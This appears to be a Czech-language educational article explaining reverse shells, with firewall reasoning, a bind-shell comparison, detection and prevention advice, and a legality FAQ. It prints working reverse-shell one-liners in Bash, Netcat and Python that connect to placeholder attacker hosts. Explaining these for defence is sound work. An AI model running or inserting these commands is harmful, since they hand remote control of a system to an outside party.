Reverzní Shell
Stručně: Reverzní Shell
Reverzní shell, také známý jako shell s návratem, je situace, kdy kompromitovaný systém se připojí k útočníkovi a poskytne mu živou příkazovou řádku.
Proč je to důležité?
- Reverzní shelly mohou obejít firewally, protože většina firewallů blokuje příchozí připojení, ale povoluje odchozí.
- Útočníci získají skutečnou kontrolu, protože mohou spouštět příkazy, jako by byli přímo přihlášeni.
- Reverzní shelly jsou velmi běžné, protože jsou standardním krokem poté, co útočník zneužije systém.
Představte si to takto: místo toho, aby se útočník snažil dostat dovnitř, přiměje server, aby se k němu připojil.
Co je to Reverzní Shell?
Reverzní shell je vzdálený shell, kde počítač oběti zahájí připojení k počítači útočníka.
Normálně váš počítač zahájí připojení, například když navštívíte webovou stránku. U reverzního shellu je to obráceně. Poté, co útočník najde způsob, jak spustit kód, server se připojí zpět k útočníkovi.
Snadný způsob, jak si to zapamatovat:
- Bind shell: Snažíte se připojit k serveru. Pokud vás firewall blokuje, nemůžete se dostat skrz.
- Reverzní shell: Server se připojí k vám. Protože odchozí připojení jsou obvykle povolena, můžete odpovědět a převzít kontrolu.
Proč na Reverzních Shellech Záleží
Bezpečnostní týmy se obvykle zaměřují na obranu, jako jsou firewally, load balancery a omezení portů. Tyto fungují, dokud se útočníkovi nepodaří spustit kód uvnitř systému.
Když k tomu dojde, reverzní shell se stává hlavním způsobem, jakým útočník zůstává uvnitř.
Proč je to nebezpečné:
-
Odchozí provoz je důvěryhodný.
Firewally často umožňují odchozí provoz na portech jako 80 nebo 443 pro aktualizace a API. Reverzní shell může být skrytý v tomto povoleném provozu.
-
Útočníci mohou udržovat přístup.
I když je původní bezpečnostní díra opravena, aktivní shell může stále umožnit útočníkům ovládat systém.
-
Umožňuje laterální pohyb.
S shellem mohou útočníci prozkoumávat interní síť, krást hesla a přesouvat se na jiné počítače. Jedna zranitelnost může rychle vést ke kompromitaci celého prostředí.
Jak funguje reverzní shell
Reverzní shell má dvě hlavní části: listener a payload.
1. Listener (strana útočníka)
Útočník používá program, který čeká na připojení. Netcat je běžný nástroj pro tento účel.
nc -lvnp 4444
Tento příkaz říká počítači útočníka, aby poslouchal na portu 4444 a čekal na připojení.
2. Payload (strana oběti)
Po nalezení zranitelnosti, jako je vzdálené spuštění kódu, útočník spustí příkaz na serveru oběti, aby otevřel shell a poslal jej zpět.
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Tento příkaz spustí bash shell a pošle veškerý vstup a výstup na počítač útočníka.
3. Připojení
Server oběti zahájí odchozí připojení. Firewall to vidí jako normální a povolí to. Listener útočníka přijme připojení, což útočníkovi poskytne živý shell na serveru.
V této fázi má útočník plnou interaktivní kontrolu nad serverem.
Běžné příklady reverzních shellů
Útočníci a etičtí hackeři přizpůsobují svůj přístup na základě toho, jaké nástroje jsou dostupné na cílovém systému.
Bash (Běžné na Linuxu)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Netcat
Používá se, když je Netcat dostupný na cílovém stroji.
nc -e /bin/sh 10.0.0.1 4444
Python
Python je velmi běžný na moderních serverech.
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'
Reverzní shell vs Bind shell
Znalost rozdílu mezi reverzními shelly a bind shelly pomáhá při obraně sítí.
| Funkce | Bind Shell | Reverzní Shell |
|---|---|---|
| Směr připojení | Útočník k oběti | Oběť k útočníkovi |
| Dopad na firewall | Často blokováno | Často povoleno |
| Požadavky na síť | Potřebný přímý přístup | Funguje přes NAT a firewally |
| Typické použití | Interní sítě | Reálné útoky |
Kdo používá reverzní shelly?
- Penetrační testeři používají reverzní shelly k prokázání, že zranitelnost může vést k plnému kompromitování systému.
- Red týmy používají reverzní shelly k testování, jak dobře je kontrolován odchozí provoz.
- Zlomyslní aktéři používají reverzní shelly k nasazení ransomwaru, krádeži dat nebo k dalšímu pohybu v síti.
- Správci systémů zřídka používají reverzní shelly pro vzdálený přístup. Obvykle dávají přednost bezpečným SSH tunelům.
Detekce a prevence
Zastavení reverzních shellů vyžaduje několik vrstev obrany.
-
Filtrování odchozího provozu
Servery by neměly mít otevřený přístup k internetu. Omezte, které destinace a porty mohou používat.
-
Monitorování chování
Webový server spouštějící shell proces, jako je /bin/bash nebo cmd.exe, je vysoce podezřelý.
-
Snížení útočného povrchu.
Odstraňte nepoužívané nástroje jako Netcat, kompilátory a další interprety z produkčních systémů.
Související termíny
- Vzdálené spuštění kódu (RCE)
- Bind Shell
FAQ: Reverzní shell
Je reverzní shell nelegální?
Reverzní shelly jsou legální pouze tehdy, pokud je používáte na systémech, které vlastníte nebo máte jasné povolení k testování. Použití bez povolení je nelegální.
Proč firewally umožňují reverzní shelly?
Firewally jsou navrženy tak, aby blokovaly příchozí hrozby a obvykle důvěřují odchozímu provozu. Reverzní shelly toho využívají.
Může antivirus detekovat reverzní shelly?
Někdy. Antivirový software, který používá signatury, může najít známé shell programy, ale bezsouborové shelly vytvořené pomocí Bash nebo Pythonu jsou mnohem těžší detekovat.
Jaký je rozdíl mezi reverzním shellem a webshellem?
Webshell se používá prostřednictvím prohlížeče a obvykle zůstává v systému, ale má omezené funkce. Reverzní shell poskytuje živou, interaktivní příkazovou řádku.